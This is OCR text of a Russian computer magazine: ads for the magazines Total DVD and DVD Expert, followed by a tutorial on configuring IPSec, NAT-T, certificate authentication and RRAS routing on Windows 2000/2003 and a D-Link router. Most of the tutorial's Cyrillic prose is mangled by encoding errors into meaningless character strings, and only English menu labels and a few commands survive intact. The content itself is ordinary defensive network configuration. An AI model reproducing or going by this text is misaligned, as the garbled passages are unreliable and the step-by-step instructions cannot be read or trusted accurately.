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Думаешь, что посмотреть сегодня вечером? 
Выбираем кино c TOTAL DVD! 


Все о кино - читай о блокбастерах месяца, размышляй о лентах 
вместе со звездами, выбирай на какой сеанс пойти 
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Все о DVD - самые лучшие релизы месяца, более 50 обзоров, море 
интервью 

© 

„и немного о технологиях будущего! Телевидение высокой 


четкости, плазмы и многое другое! 


Total DVD — ультимативный журнал для киноманов! 


Каждый журнал комплектуется О\/О-приложением с великолепным 
полнометражным фильмом категории «А» (качество изображения и звука на 
диске соответствует лучшим мировым релизам), подборкой трейлеров и анонсов 
новых картин и роликами к DVD-penv3am. 
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Ищешь себе технику для домашнего кинотеатра? 
«DVD Эксперт» - самый лучший гид по аудио- 
видео- новинкам! 

Все о Hi-Fi, High End и Home Cinema! 
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Пошаговые инструкции по составлению и инсталляции системы 


домашнего кино 
© 
Лучшие системы и компоненты месяца - рай для новичков. Более 50 


самых новых моделей в оценочных и сравнительных тестах 
e 
Готовые системы, интервью, самые свежие новости индустрии 


Всегда на лезвии прогресса! 


Выбираем домашний кинотеатр сжурналом «DVD Эксперт»! 
(ейчасэто стильно, это модно, это доступно, это просто! 


Каждый журнал комплектуется О\О-приложением свеликолепным полнометражным 
фильмом категории «А» (качество изображения и звука на диске соответствует 
лучшим мировым релизам) и тестами для настройки системы хоум синема. 
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IPSec i a ей! i &йсбао fi вада , оаё ваёт OF GANA, 1 аба- 
аабй dap и её IPSec-fi ааёгагёа, а пёйда! a таеё!, 
a of eéaeii TAO Ai Adal af ay 11 бЗаЗ8уЗ0Лу A 11 - 
iit dp таба! adda SPI (Security Parameter Index), 
fd 6éa Га éf Of 60 é Ai аабаззойу а вазе! 1 таёабат бе 
ей! 1 @Uici Aa/ ea @ АН-, @ ESP-ai &81 поёудёе. Апёё 
{ def 1 Г AOS? 20 firewall 4éy i 61 61 ава а! ey IPSec, éf- 
11 васор 0111 абат Ota & &та. 1 Staal e? 50— yor 
IPSec с ESP-éi ват повубёав, тм ё: 51 — 
IPSec RAH-€i ёат поёубёав. ARGS ей! 1 &йсоаойу IKE 
aéy Г а-ави i в аа! абабёе ёёр -ав, Га! аб! aI 1 бас- 
dag edt ad? Ayu ват Aad п ЦОР 500 га UDP 500. 

IPSec 6сё1 a efi 1 @ticdadhy 0861 1 &1 887 NAT, al cf &- 
éap 07 Of déai O, поатаги Hei af 1 Ade ё басбав ё- 


— ENT 7 EUCOAI ТЕ ОАО! Т Ei AEE NAT 
(EEAI YO! ODAI МЁВОЕВ IP-AADANI А 
ЕВОЕВ E IP-AADANI А, Ei i ОО! А). 

— ENT? EUCOAI 7 АГ i АОГ AA Ei EAT МОЁВ- 
OEE A IPSEC (N AH-Ei EAi NOEROEAEIE 
хАРАС EAEI Е NAT IPSEC-ODAOEE 
EAOAO | AECAAAI i AOAOOEGI Ai Ai U 
Ej OADI @AI Ui DEI Ei АР U AE NOI Di - 
ii €,EAE1 Ai Di @ ААВ ЕАТ Di AADEO 
ОЕОБГ Ai Ei i Ai ENE), 

— Ei EExANOAA NATIT Al АЕАОАСАЕ! 1 - 
AAENOAOP UEI E NO! DI i Ai E. 

— Ei EExANOAA EEEAI 01 A, i Adi ABU EO- 
NB СА МАТТТ , ЕГ Of DUA 01 ORO ONOA- 
ii? AEOU IPSEC-Ni ААЕГ Ai EA. 

— NOAI Al Ei i AAADAEE IPSEC, DAAEECI - 
AAi ii Al ААА! (ТЕ РААЁЕСАОЕЕ МАТА. 


711 ааабазве IPSec -абас МАТ +ahdi ей! 1 ёисбаойу 
ёг ват Adéyoey IPSec a UDP (IPSec NAT-T, ЦОР /4500). 
NAT-T i? ааабаззаазаойу а Windows 2003 ё Windows 
ХР SP2, аёу Windows 2000/ХР Га! adi aéi { ai foa- 
аёои1 aff ава! ва (L2TP/IPSec NAT-T update). 

IPSec а fi adadei f (06 AeAdai аб вегавёе 
Microsoft бааёёсоаойу ATT} Ти Up 11 вебеёё. [т ёё- 
оёёа fi Ad? G0 ест бааев. А AT поаат бааёёа аб ae 
6 еёй05, & OF бйе1тбазавуад, га ваё! в дет 066 в- 
6a бай! Of Addai уаойу аа! тат бааеёв! , е ааейдава, 
& Of 61 а пепоат а adT? вгуаогаа Aaff Oi 06a6 e- 
&1. AaéAdaey 1 1 або ай ой пёааор и Al ё: сааё1 &е- 
61 аади обад вв, басбав AOU обад вё GEE ойоа!1 ава 
aaci тай! Та Ai ааа! af ea. 
> 1 5a6d8+2d6dd dam Af ау. поагабёв 1. Ni ааёг Ai 

i 6 


aaa i 6 ёйа, efi T &йсбу IPSec а об Гаёш 11 базе а. 


> иода aay аГпобоёбву. № сааар Wi? ёё0еёб 
IPSec a Windows 2000 Server: 


01 Ai U@ AAO! DI ECAI AE OAEUI i NOU 
NENOAI 0. АЁВ ODAOEEA, | ADAOAAO 
Ei ОГ Di АГ i АВАЕВАОМВ EDEOE xi Ui , 
Ai МОЛОТ xii ЕМГТ ЕОСТ AAI EA 

IPSEC AH. ANEE | ADAAAAAAI UA 

АА! ГОА АО МОБ! ONOADAAAP OE A 
CAE! OADANOb ОТ DAAEOAEUNOAAI i UA 
AAAI ONOAA EEE i xAi UEDOI [ОА 

Ei Di i DAOEE (i Ai DEI ADAAGE 
OAEOU EA AEDAAAU AI Г ADAOEE), 

Ai NOAOI xii @EOb! ААГ ЕВ DES. 


ANEE ODAAOAONB i i Ai ENO AAOU 

EEE @EODI AAOU CI AxEOAEUI UA 

Т AUAI U AAI i 06, DANN] 1 ODE 

Al ci ТЕГ! NOU’ DET ADAOAI EB 

Ni AOEAEUI i Ai МАОАА! Ai AAAI OADA 
Nii OE] ECAOEAE IPSEC 
(IPSEC OFFLOAD), х0 ji CAi EEO 
ГА CAADOZAOU! DI OANNT 

ТРЕ YO! | OAAAENU, xO? 1 
ji AAADEEAAAO( Ai AOI АЕ] OA 

ipl of ЕГЕО. 

| DE ENT 1 EUci AAI EE IPSEC 

{ Ai AD@ DOOE CAO! DAO NEAAOAO 

| 

ji AAADEEAAP U АА АО №1 EEA 

NEi 51 NOE @ EOD! AAI Ew 

(10 MB/S Е AU@A),/ ANOI EEEO 

AEAi DEO] AO (3DES, AES) NOI EO 

Ci AxEOAEUI ОО ААГ АА. ТУ 1 O 
@EOpi AAOUI OAIi Of EVE] МА! UE 
EDE OE xi UE ODAOEE. 


ii EEOEEE 

Ei Oi Di AOEII IIE 
ААС! Т ANI 1 NOE 

1.: 1 af ey AéO8, 2006 
[1 40681 af NLA. / 

400 Adal 26 

Dacdl { ay 681 8: 475 5. 
366i ai - 


nal 


Г баёоё -вйё1 а 

айбат 11 afi dif 
басбаа! оёё 11 веоеё 
@f 0161 абё! 111 é аа- 
cii anit hoe а afi Та- 
(eyo et баа! ecadeys. 
11 Aéaai аадаёшт ёс- 


(7 AOS TT AU AD 061 - 
ai vat adday ati 7 a- 
(ae. Ef eda ЗАБИТ aa- 
18 СО, CISO, CISA 

& Addai OTT al, a at - 
501 1 686! AOA бас- 
5adaod aad ё af 44- 
VOU TT eeosee daci - 

i aATT AOS а aT Taree, 
gal af efddadl 6a) &8- 
chi aArT AO’, AAAI - 
fa) &@A8osadi aai e- 
(ahooadl 681. Aa Tot A 
dt Oal , М1 бум ef 08- 
anit. 


о ai ey Ali 61 AT A ac- 
dadi O8a, af 88681 ay 
dit аа8баеёё 11 6606 
aacii anv 1 foe. 1 dasa 
бб ПАЗЫ Га OAC- 
86-08 61 ИЛЬИ 
Е 
a] 1 а6-З 888 п050ё- 
3600. Dacdaai 065 
aaaeaaoi de зоба ёи- 
(GOTT Bade af 6 16- 
1 adel (1é Aacti an. 


1] АГР START -— ВУМ, [ AAEDAAG 0 
SECPOL.MSCE [ГАЕЁ! ААС (0 ENTER. 
2 | DAAUE EEEE Г A IP SECURITY POLI- 
CIES ON LOCAL MACHINE, AAEAA EEEE 
CREATE IP SECURITY POLICY. 


3 EEEEAAQ U NEXT. 

4CAAAAQOUEI Bil Ai Ej i EEOEEE, 

i Ai DEI AD «IPSEC BETWEEN МЕТА AND 
МЕТВ», EEEEAAQ U NEXT. 

5 OAEDAA® Ui | OEP ACTIVATE THE DE- 


6 | NOAAERA@ Ui i OEP EDIT PROPER- 
TIES, EEEEAAQ@ U FINISH. 


Ni саааойу i 1 BeOeKa IPSec Af AMOS в&81 &11 9 7 &- 
sa(ep aéy IKE. 1 7 Ai 1 обабй е Sci агебатаба 8050 
IKE i 1251 а саёёзаёа General. Аёу o6f Гаёу f dati 
М сааой ааа т бааёёа IPSec, даё ёаё ёазеа1 a i бааё- 
6] Ттбазавуао па! е бааваггав efi ad Odi aéey. 
Aéy уд & fi саааав даа д ёёиоба, 1 зе! аёу 05806 e- 
6a ес fade «А» а Aad «A», аб0ы 6 — BBY 056 вёа 
а1Таба 11 { ai бааёаг её. Оат аби Ai саааав 6 ёё005 
aay 0586 G48 Ac Adda «А» а падй «А»: 


1 OAEDAAG Ui | OEP USE ADD WIZARD, 
OAE EAE NEEUI 7 ГАТ DRAAAO. 

2{ AEEi AAOUADDA. 

3 ААА Ui ACAAI EA OEEUODO, 

i Ai DEI АР МЕТА >NETB. 

4 OAEDAAG Ui i OEP USE ADD WIZARD. 
5 {| AEEi AAO UADD... 


6 A SOURCE ADDRESS AU AEDAAG U 

А SPECIFIC IP SUBNET E OEACU АААВ 0 
NAOU Е | ANEO AER NAOE «А». 

7 A DESTINATION ADDRESS AU AE DAA@ 0 
А SPECIFIC IP SUBNET E OEACU АААВ 0 
NAOU Е | ANEO AER NAOE «А». 

8 OAEDAA® Ui i OEP MIRRORED. 

ALSO MATCH PACKETS WITH THE EXACT 


OPPOSITE SOURCE AND DESTINATION 
ADDRESSES Ei AZEi ААС О OK. 


9 CAEDU АААВ Ui Ei @ ЕТ IP FILTER LIST, 
i AEE] АВ CLOSE. 
Аёу 6 евиоба обад ава ёс ade «А» а пабй «A» айа 
аавазойут1 агаё! де. O8i AOU AT сазаает бааеёа 
{at ft аа Ai caaf if G66 еёи0б: а: 
1 A IP FILTER LIST AU AEDAA® 0 OEEUOD 
МЕТА >NETB. 
2 [ А CAEEAAEA AUTHENTICATION 
МЕТНОО AZEi ААС 0 ADDA, AU AEDA- 
A@Uii OEP USE THIS STRING TO PRO- 
TECT THE KEY EXCHANGE (PRESHARED 


КЕУ) Е ТЕ АВ О ЕЁЬ хААОР ODA- 

СО (АЁВ ОАМОГ AU О OAEAE ТГ Ai EAAO 

E NEI Ai «РАЗЗМОВО», [Г ТГ NEA Oi Ai , 
EAE OOi | AEU САРААТ OAAO, EOx@ A Ni С- 
AAOU NE] Ai OE E AEEI i OE ТРАА! | DA- 
AAEAI | OE ЕЁЬ x). 

зЗГАЕЕ! ААВ О OK. 

4Ai Ei @ EA AUTHENTICATION METHODS 
ti i AxAA@U PRESHARED KEY Ei AZE- 

i AA@U MOVE UP, xOi AU Ai i AU Ni С- 
AAi 1 OE i Adi A AOOAI CEO EEAOEE Ij DE- 
i АГВЕМВ i ADAUI . 

5 AU AEDAA® 0 CAEEAAEO TUNNEL SET- 
TING, AU AE DAA@ U THE TUNNEL ENDPOINT 
15 SPECIFIED BY THIS IP ADDRESS E i E- 

С Аб 0 OOAA IP_W2K3_Ai A@ (Ai ADI EE 
IP-AADAN AAEUI АА! Ei i OA 001 i AEB). 

6 [А CAEEAAEA FILTER ACTION AU AEDA- 
A@U REQUIRE SECURITY, AAEAA EDITA. 
7Ni Е! ААС 0 AAET хЕО [ Ai Di OFA 
ACCEPT UNSECURED COMMUNICATION, 
BUT ALWAYS RESPOND USING IPSEC 

E | AZEI ААС О OK. 

8 CAEDU AAAQ Ui Ei @ Ei EDIT RULE 
PROPERTIES, | AEE] АВ [ AOK. 


ё Al caaf ёё т бааёва аёу 056 G4a ёс падё «А» 
а 1800 «А» апа завааопу эГаёт eH 1 (Ai Aoi 
IP_w2k3_ai ag a6aa0IP_w2ks_dai ag). 

Ni caaf{ 6p 17 ёёоё 60 Г Gali 1 Sei Af Ad. Ay 
ум ai fa é@i af eit 6edeée IPSec between Ме and 
NetB aaéaag tii Gaal é 6606 ва ATi OAEADITI тагр 
айаёбааю и Assign. 

xdi ad ci af af ey йбасб айобт еёё а Heed, Га- 
i adi aéi 1 табаса! опоёой Hédaedd IPSec E@ai ёстй- 
{ ahoée Computer Management, 6eai ааа &1 ai ad: 


net stop policyagent 

net start policyagent. 

O8i 8601 баз 1 (AI бааёоит ASO, AEAASH U ё8 ёс п8- 
06 «A» A ABDI «А», (8 af Ao [86 Af 0806 AEA и Sh cl at - 
& &1 ТИР 0868 1806 «A» (Af ag 8 AO=aA Windows 
2003 Server). Aéy yor & (a deat] &1 Тор 6858 a et - 
@aeUii 1 6 ABOR Г bad 1 1 O17 ПЗ A €a=8NOAA д &р cd aay 
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fiada «A» 245A IP_w2ks_Af 600, аГа пабааба а ёа-а- 
&1 Тор баба Adda «A», Of afd IP_w2k3_ ai ag. 

барса é &1 тир баб а базе! а IPSec-Od/ Г а- 
ёу ai &аза{ 6 Of &6ё1 {201 AaOU ёаё 61 обаб, OI айди 
табайй гасит аваой Ai afi а пабаа! & ef 6466 аейа 
Га абоа в (Тойраа ай дбавёаад, +i Га йабаад! da 
i 6a06 f 61 G Windows Гат 7 860 ай да IPSec-9 ёр с! 1 
aéy &1 ваё!1 в fade, оаё ваёгат! ааабаваар о 61 6- 
dei а). райй! 7 06! ааа HiT Ai аа GAaeecadee. 

табай 6 fit AT 4 

+ [А МАРААРА Ai AAAERAG Ui МО BI - 

i OE NOAOE xANEEE i AD@ DOO Е NAOE 

«А», AOTI Ei EAA ETI АГАГТЕ МОРГ EA: 

ROUTE ADD -P AADAN_NAOE_A MASK 

i ANEA_NAOE_A IP_W2K3_Ai Ag. 

AA, i DAAR A DAANODA. AEB YO Ai i OE- 

DU AAA 0 AAOEO DAANODA 

HKEY_LOCAL_MACHINE\SYSTEM\CUR- 

RENTCONTROLSET\SERVICES\TCPIP\PAR 

AMETERSE ECi Ai ВАО UCI AxAi EAT A- 

DAI AODA IPENABLEROUTER[ A «1» 

(ii Ol 7 ExAf Ep «0»). AER АМООГ EA- 

ГЕВ Eci Ai Ai EE A NEEO ODAAOAONG Г A- 

DACAADOCEA NENOAI 0. 


aot ot é МТ Af а. Routing and Remote Access: 
1] АГР START > PROGRAMS —ADMINIS- 
TRATIVE TOOLS ~ROUTING AND REMOTE 
ACCESS. 

2{ Ai ACAAI EE Ei | ГОР ОАРАТ DAAUE 
EEEE, CONFIGURE AND ENABLE 
ROUTING AND REMOTE ACCESS. 

3 ANEAAOp UAi ТЕГ OEA 

i AEE] ААС 0 NEXT. 

4 AAEAA AU AE DAA 0 MANUALLY 


7] OE DU AAAS 0 AADAAI [ A EAAI Е 
TAL AEE, ASE] ABT EP NEEI Ai Di OFA 
i ACAAI ЕВ NADAADA. 


IPSec SA 
- SPI Policy Наими бром 
7 2426857338 INtest 10.1012 | 
2 3283810143 test 10.10.11 
IKE SA 
= Paticy Mane Emipount 
1 test 10.10.11 


Protecel | Tx (MBytes) | HideTine | SiifeThwe 
ESP 0 680 0 
ESP 0 680 550 

уме Lite [hve № Secs 

SA_MATURE 28578 


Affi 6€a6e@e Aacii ай! 1 Ade 
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8 | OEDU AAA U IP ROUTING. 
9} DAAUE EEEE i A STATIC ROUTES, 
AAEAA NEW STATIC ROUTE. 


10 Aj | EA INTERFACE AU AEDAAQ U 
IP_W2KS_Ai AO. 


11 Aj | EA DESTINATION IP AAi AE@U 

AADAN NAOE «A». 

12 Aj | EA NETWORK MASK АА! AE@U 

1] ANEO NAOE «А». 

13 Aj | EA GATEWAY AAi AE@U 

IP_W2K3_Ai A@ Е Zi ABU OK. 
Айёё да caadaéhdal ааё пёбаваб RRAS, 1 fait af A- 
11 @Uci аадийу aa di ci 1 afi Aolip д евиобабее оба- 
6 €éa, +01 ай пабаабт 6! т опёаё OF в! IPS ec-d5a- 
6 dé. Aéy yor a: 


=> 


1A Ei | Ni EE ROUTING AND REMOTE 
ACCESS 1 OEDU AAAS 0 AADAAI i A EA- 
Ai Ei Ai AEE, | AEE АВТЁР NEEI Ai - 
Di OFA i ACAAI ЕВ NADAADA. 

2 EEEEAA® U GENERAL Ai i AAADAAA 
IP ROUTING. 

3 Aj DAAI Ej Ai AEE i DAAUE EEEE 

i A Ai AGI Ai NAOAAI i Ei OADOAE- 
МА (ГАЕГ OF Di i | ANODI Ai AADAN 
IP_W2KS_Ai A@),A Ei i OAENOI ii i Ai P 
AU AEDAAG U PROPERTIES. 

4 AU AEDAAQ U INPUT FILTERSA E ADD... 


51 Г | AxAA@U SOURCE NETWORK, 

1 E@AOUIP_W2K3_Ai AO ЕТ ANEO 
255.255.255.255. 

6 11| AxAA@U DESTINATION NETWORK, 
TE@AGUIP_W2K_Ai A@ Е 1 ANEO 
255.255.255.255. 

7 AUADAA@ 0 PROTOCOL: OTHER, 

Aiii ADA Di OF ЕГЕАТЕС АС 0 50 
AE® ESP ЕЁ 51 АЁВ АН (А ОА! Ai 

NEOxAA ЕМГТ ЕОСОАОМВ ESP, 

OAE EAE i ADAI AODU IPSEC 

ТГ Of ExAi Ep ГАТ Ai BE). 

8 Ai AAAERAG@U AU AIT AEI OEEUOD AER 
AOi ABU EOI AEAOI A. i AEE ААС О ADD... 
9771 AxAA@U SOURCE NETWORK, I E- 
С AGU IP_W2K3_Ai A@ Ei ANEO 
255.255.255.255. 

10) | | AxAA@ U DESTINATION NETWORK, 
TE@AGUIP_W2K_Ai A@ Е 1 ANEO 
255.255.255.255. 

11 AU AEDAAG Ui Di ОГ Ei E UDP 


E iii ADA SOURCE PORTE DESTINATION 
PORT — 500 (i i DOU ENI i EUCOP ОМВ 
i pi ОГ Ei Ei i IKE). 


12 А) АЕРАА@ Ui | OEP DROP ALL РАСК- 
ETS EXCEPT THOSE THAT MEET THE CRI- 
TERIA BELOW. 


13 CAEDU AAAG Ui Ei AEi i i El E OK. 


Oai аби Г Gaal в AGT ауи BE 0586 вв, 671 а обааоа- 
iia aéy fda? ae 6 7 Of 61 эева! ey IPSec-fi ааё! а- 
(ey Aaadafii IP_w2k3_ai ag, i di тойёабийу Га аб- 
aad (ai ваа i базевигаве HiT Ala — efi 7 ис! аади 
а ёа-айоаа firewall’a 15 А-йабааб). 

Т лоаёт AU п 1 а06ё- 01 Табас!1 (5 апой 
111 агуа «А» @ «A») 17 adf бёой айа Г AMOS вёё м 
AGE OT Га Adda «А» 6 Тб! аабёой баа! об IPS ec-ddI { 8- 
éy. Aéy ума 11а! айттёгаой afi af a6 ping 
й&1 тар ada ec йа0ё «A» af &11 тар баба ec ABS 
«A». | af & aaduAy Oda6ai Гав осаё 464401 а йбасо, 
даё ёаё Г defi аба! Via fi авай! аа! ea i adai addi а 
Рбес-й aaei af ву, ii yori от! бабу i Adal а таваба 
уавуаолу (1 di авт в. Ттлёа OFaH 7 A 161 OT ге а- 
Г утё! аа 1 Г а&1 ai fii ci аабийу ооеёёй в ipsec- 
mon.exe, adi ay aé a fil dad Windows 2000 server, 
ёвё af aeecadi 611 06a6 вёа (51 Af Gi — 10 Microsoft 
Network Monitor Tools eéé Adi dif { ei Wireshark) аёу 
éi f OOT ey df a, +01 обаб ёё в ёб BdAd/Y. 

>  Р5есё fia5086 евада. Odi аби af Addai абба! - 
080 евабёр пей! 1 вис! af G81 пабоёб еёад а. Аёу 
yoi ai, а! -габайб, f deel 1 11 af YOU йа! в ба! Adi аабур - 
U éé Gai 06, a af -а9 баб, Cai д! пёби е ойба! 7 аёби 
йабоёд аваой Гатаа асаё! 1 аавпоаор и ёа Adi OT Га. 
N&d086 €a0 ai Ged! ай OU CROAT ава! а обаг еёёи а 
пабоёд eéadi а &1 тар баба, OA ваё IPSec i i ааад- 
wedaad addai 026 евабёр осё! а, Af aii вис! аада- 
ёа6. Ofdal заёёаза\ Sai AO! аабур и AE ба! 05: 


1 AU AEDAA@ 0 START SETTINGS > 
CONTROL PANEL > ADD/REMOVE PRO- 
GRAMS > ADD/REMOVE WINDOWS COM- 
PONENTS. 

2 AUAEDAAGU ЕГ i ii i Ai OCERTIFICATE 

SERVICES, AAEAA YES. 

3 AU AEDAA@ 0 STAND-ALONE ROOT CA, 

EEEEAAQ 0 NEXT. 

4cAil Ei ВАО ОТГЕА СА NAME 

(i Ai DE] AD, TRUSTED ZONE), 

ADOAEAT1 ER —ii AAEAI EP, 

Ei AEE] ААС 0 NEXT. 

5 | NOAAEGA@U ANAT OOE TI Ol 1 ExA- 

ГЕР , ГАЕЕ] AA@U NEXT E OK. 

611 NEA ONOAI i AEE | AEE] AAG U FINISH. 
Ofidal аавеаааолу 681 NOt аабур и ё6 баг 03, & 1 AT BU 
Oi баава! ву ei , егайобаёдааолу add, -абас Ei OF - 
баб ёвёаг ой 1 1 260 са! бав вазбй её тт в0-а0й йабое- 
6 ёвабй. Oa Adu Ai ав ёга, Га Ef OF OT в ойоа!1 ава! 
CA, ai &аза! 1 0800 аадайу Aaéo http://127.0.0.1/certsrv/, 
a a Administrative Tools ai éai a а! аааёоййу 1 Ai ano 
ва Certification Authority. 


Edaé, 811 ОО! , SMU OMOAL 1 Aa 1 OE 68105 
AIP-addaA | ip-8/ 60.1800, ot aaa: 


1N Ei i ТОР OADA, ГАЕГ ОГ Di | ODAAO- 
АОМВ ONOAI | AEOU NADOEOEEAOU , А АА- 
DANI i E МОРГ EAT AAEDAAG 0: 
HTTP://IP_OAi ODA_NADO/CERTSRV. 

2 AUAEDAA® U RETRIEVE THE CA CERTIFI- 
CATE OR CERTIFICATE REVOCATION LIST, 
АТ AOU NEXT. 

3{ AEE] ААС ОГ ANNU EEO DOWNLOAD 
CA CERTIFICATE E AUAEDAAQ U SAVE. 
4Ni ODAi BAG 0 OAEE, Ni ААРЕАЦ ЕЕ 
NADOEOEEAO, ГА AENE. 

5] АГР START +>RUN > MMC, ГАЕЁ! А- 
Аб О ЕМТЕВ. 

6 Ai Ei АО АЕБААС 0 FILEA, AAEAA 
ADD/REMOVE SNAP-IN, OAl ADD... 

7 А Ni ENEA AU AEDAA@ U CERTIFICATES, 
i AEE| ААС U ADD, AU AEDAAG 0 
COMPUTER ACCOUNT E NEXT. 

8 | NOAAERA® U LOCAL COMPUTER, ААЁАА 
FINISH E CAEDU AAA@ UEE@I EAI EIA. 
97 OEDU AAA® 0 AADAAI CERTIFICATES, 
EEEEAR i AT EP №, АТТ АААРАААТ OE- 
DU AAA® 0 TRUSTED ROOT CERTIFICA- 
TION AUTHORITIES E i DAAUE EEEE 

i A CERTIFICATES. 

10A Ei | ОДЕМО ТТ i АГр ADAEDAAG U 
ALL TASKSA, AAEAA IMPORT. 

11 А | ANOADA ГАЕЕ! ААВ 0 NEXT, A NEA- 
AOp UAI ТЕГА A— BROWSEAE ГАО] - 
AE@UOAEE,i 7 EOxAi | OE Ni AG AAI 

ON NADOEOEEAOA, ЕТ АС 0 NEXT. 

12 AAEAA NEXT, 1 | ROU NEXT E FINISH. 

13 | AEE] AA@U OK Ai Ei @EA, OAAAI | - 
EGP ОА! T AON AGITI EI ТТ DOA. 


Ni оба! Yao а Ti Ai GU AT AL AMOI 6 пабоёб ева а, 
tiaa 


Ot a 001 Гаёу IPSeci Taft ё 1 &0с! аа0й йабоеб e- 
€ad0, аааагГаа уе Gaf dT) .Naaéaai yar: 


1] Al P START, AAEAA RUN, 

[| AAEDAA@ 0 SECPOL.MSC, [ГАЕЁ]! AAG 0 
ЕМТЕВ. 

2 NEAAA AU АЕРААВ U IPSEC POLICIES 
ON LOCAL MACHINE. 

ЗАТ DAAT Е ТАГ AEE AAI Ei i E EEEE 
ГАТАО АЕТТ EEOEEA IPSEC 

(IPSEC МЕТА - МЕТВ). 
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Advanced Tools Status Help 
VPN Serine Tunnel 1 
4 AAEAA AAI Ei i E EEEE I Aji ADAI | : м , 
OEEUODA (МЕТА + МЕТВ), CAEEAAEA tem Setting 
AUTHENTICATION METHOD, AAEAA ADD... Tunnel Name 04804 ^/2коз 
5 AUAEDAA@ 0 USE А CERTIFICATE FROM 
THIS CERTIFICATE AUTHORITY (CA), Aggressive Mode LJ Enable 
| AEE] AA@U BROWSE. Local Subnet 192168200 
6 АМГЕМЕА AU AEDAAG 0 Ai i AU PSEA <a 
Ni СААГГОЕ OAT NOI AADBP UEE OAi Op | bOCal Netmask 255.255.255.0 
ЕГАЖЕТ AAG U OK. Remote Subnet 192168400 
7 А МЕААОР U Ai i Ei @EA OK. 
Remote Netmask 255 255.255.0 
8 AER ХЕМОГ OU YENI ADEI Ai OA 
OAAEE АМАТ NOAEUI UAI AOI AU Remote Gateway 10.1011 
AOOAI ОЕОЕЕАОЕЕ, ТТТ АхАВ 
ЕАЕАОЕ ЕСГ ЕОЕТАДЕ! АВ REMOVE ны 192168405 
Е УЕЗ ATi RAEAGAI МВТЕГА. 
oe ва и ка и & x хе Preshare Key errreeee 
971 AOi РВАВ 0 УООТ Di OAAODO AER 
AOi ЭГ Ai OEEUODA (NETB > МЕТА). Extended Authentication CleEnable 
XAUTH) 
‘ Server mode 
[1 ла! Та’ added Gada аёу IPSec df anit ва i ad. 
i 7é6s0) 88: Client mode 


1N Ef i i Up OADA, i A Ei Of DI | ODAAO- 
AONB ONOAI | AEOU NADOEOEEAOU, 

А AADANI ТЕ МОРГ EA i AAEDAAG 0: 
HTTP :/ЛР_ОАГ ODA_NADO/CERTSRV. 

2 AUAEDAA® U REQUEST А CERTIFICATE 
E £i AO UNEXT. 


3 AU AEDAA@ U ADVANCED REQUEST 
E £i AO UNEXT. 


4 AU AEDAA® 0 SUBMIT A CERTIFICATE 
REQUEST TO THIS CA USING A FORM 

E £i Аб 0 МЕХТ. 

5 OEACU AAAS ОТ АРА! AODU CAI Di МА. 
EC i АВСАОАЕОГТ Ai INTENDED PURPOSE 
AU AEDAAQ® U IPSEC CERTIFICATE 

(1 i Ai i | NOAAEOU Е CLIENT 
AUTHENTICATION CERTIFICATE, | AEANOU 
AAI j DEI Ai AL ER Ai EAA @EDI EAB). 

6 AUAEDAAG Ui i OEP USE LOCAL 
MACHINE 5ТОВЕ, ГАЕЁ! ААС О 

i ASUBMITE YES. 


Ааёи! déo ёа аавйоаву аат1 €f Vp oAy га &1 тар да- 
бай опоа! 1 ава! Га! dai hot аабур и ei Gas OT) : 


7 ЕСТАГ EE ADMINISTRATIVE TOOLS | OE- 
DU AAAG Ui Ni ANOEO CERTIFICATION 
AUTHORITY. 


8 | OEDUAAAG 0 AADAAI Ei i Ni ЕЕ, ГА- 
ЕЕ! ARIAT Eb NEE, Е AUAEDAAG 0 
PENDING REQUESTS. 

9 Ai DAAI Ei Ai AEE [Г AOI AE@UCAI DIN 
i AL A@® МАРОЕОЕЕАО, ГАГА! 1 DAAUE 
EEEE, ALL TASKS E ISSUE. 


i AAddiT вёа DI-804HV 


Oai 400 A &1 тар саба, A Af Of OT a пабдеб еёаб cai - 
dag вадёйу, i 1а& 1 а& 11 ё6-ё00. Aéy yo a: 


10 МЕГ | ГОР OADA, ГАЕГ OF DI | ODAAO- 
AONB ONOAI 1 AEOU NADOEOEEAO, А AA- 
DANI i E NODi EAT AAEDAAG 0: 
HTTP://IP_OAi ODA_NADO/CERTSRV. 

11 AU AEDAA@ 0 CHECK ON A PENDING 
CERTIFICATE, AAEAA NEXT. 


12 Aj Ei APLEASE SELECT 

THE CERTIFICATE REQUEST YOU WANT 

TO CHECK Ai EAZAI ji BAEOUNR 

NADOE OEEAO. EEEEAAS U NEXT 

Е AU AEDAAQ U INSTALL THIS 

CERTIFICATE, Ai Ei Ai AEEI AAQUYES. 
| Of 4a0u, +0 47 Af айоёа Certificate(Local Computer), 

aaddé Personal Certificates 11 уаёёйу added аёад. 

Oai абит 61 466 17 OU SAOAL 1 аё0й IPS ec-Ai a- 
аеГ af a. Od! f ABU Ai Baal 11 Af VOUAY A Addai 086 @- 
6ad@aé Ad Off ATTI7U Up йабоеб e€adi а. 
> бы AIT Sof 06 базы . Adal adeé 2.7 Sani a- 
+é] в 66 Of аа! ва обаб еёа1 азвао 6 авё! ай1 йаб- 
aadii @ éfi i Up дада] ав! вави!1 в пабе, efi 1 &1- 
coy IPSec а оба! Ait 0911 базе а. 

Aéy оаеё af а пабааба басбавё вёд Oi - 

aaf {dé обаб её Га TCP/139 6 ТСР/445 11 600 ёГа- 
оаёШ1 в обаб её Gai баба. 


| апобаеаае бавёайв пабааб ( 


Mo сх 
=> 
© 
[= 
©. 
©: 
= 


бат! af вааб& 1 тар бабётта ог бааёа! ва Га 
да611 é 7 6a06 161 G Windows): 


1] Ai P START, AAEAA RUN, i AAEDAAG 0 
SECPOL.MSC Ei AEE] ААВ UENTER. 

2 | DAAUE EEEE I AIP SECURITY POLI- 
CIES ON LOCAL MACHINE, AAEAA EEEE 
CREATE IP SECURITY POLICY. 


3 EEEEAA® U NEXT. 

47 ЕВ АВОЕ! Bii Ai Ei i EEOEEE, I Ai - 
DEI AD «IPSEC FOR FILE SERVER», NEXT. 
5 Ni Ei AA@ 0 AAEEO ACTIVATE THE DEFAULT 
RESPONSE RULE, EEEEAAQ U NEXT. 

6 | NOAAERA@Ui i OEP EDIT PROPER- 
TIES, EEEEAAQ@ U FINISH. 

7 Ai AAAERAQ ОТ DAAEEI IPSEC, 


ЕЕЕЕАВ ADD... 


D3 ee SN Я № А А А аи 
au al 01 al ба! аа! ey 
ТРЕ АОА! DAT Ai DOAT AAI ЕВ AEB IPSEC 
{ Ai AO] АЕ! 1 AD OUT xAi U 

Ai El AOAEUI Ui .i Ai DE] АБ, 

| DEO! AEEI NU NOAEEEAAOUNG 

№ NEOOAGEAE, ЕТ AAA? БААГ ECAOER, 

Ei Ol Dl E ODAAT AAENS Ai №001 

Al EU@i Al xENEA Ni ODOAI ЕЕ! A 

